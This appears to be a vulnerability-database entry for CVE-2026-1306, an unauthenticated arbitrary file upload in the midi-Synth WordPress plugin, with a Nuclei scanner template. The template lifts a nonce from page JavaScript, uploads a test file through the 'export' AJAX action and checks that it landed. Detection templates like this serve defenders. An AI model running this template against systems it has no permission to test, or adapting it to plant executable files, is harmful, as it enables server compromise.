CVE-2026-1306: WordPress midi-Synth <= 1.1.0 - Unauthenticated Arbitrary File Upload

2026-03-25 WordPress midi Synth PoC Public

Description

WordPress midi-Synth plugin \u003C= 1.1.0 contains an unrestricted file upload vulnerability caused by missing file type and extension validation in the 'export' AJAX action, letting unauthenticated attackers upload arbitrary files and potentially execute remote code, exploit requires attacker to obtain a valid nonce exposed in frontend JavaScript.

Details

CVE
CVE-2026-1306 · CVE.org
Severity
高危
Affected
WordPress midi Synth
Published
PoC
Public

PoC

id: CVE-2026-1306

info:
  name: WordPress midi-Synth <= 1.1.0 - Unauthenticated Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    WordPress midi-Synth plugin \u003C= 1.1.0 contains an unrestricted file upload vulnerability caused by missing file type and extension validation in the 'export' AJAX action, letting unauthenticated attackers upload arbitrary files and potentially execute remote code, exploit requires attacker to obtain a valid nonce exposed in frontend JavaScript.
  impact: |
    Unauthenticated attackers can upload arbitrary files and potentially execute remote code on the server.
  remediation: |
    Update to the latest version of midi-Synth plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/midi-synth/midi-synth-110-unauthenticated-arbitrary-file-upload-via-export-ajax-action
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1306
    epss-score: 0.04756
    epss-percentile: 0.92031
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: wordpress
    product: midi-synth
    framework: wordpress
  tags: cve,cve2026,wordpress,wp-plugin,midi-synth,file-upload,rce,intrusive

variables:
  randstr: "{{rand_base_string(8)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/

        action=export&nonce={{nonce}}&fileName={{randstr}}.txt&fileMidi={{base64("{{randstr}}")}}

      - |
        GET /wp-content/plugins/midi-synth/sound/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        regex:
          - 'var midiSynth_nonce     = "([a-z0-9]+)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - status_code_3 == 200
          - contains(body_3, "{{randstr}}")
        condition: and
# digest: 4b0a00483046022100d03b2dbf5e30f1ae7dbfd61b73264743b6d640b68a52c3bfe24309348662e3b2022100b7d37d181c519075d150d30b3f2282e9f47f1a83b8b8126990fa682ddfb2ff43:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life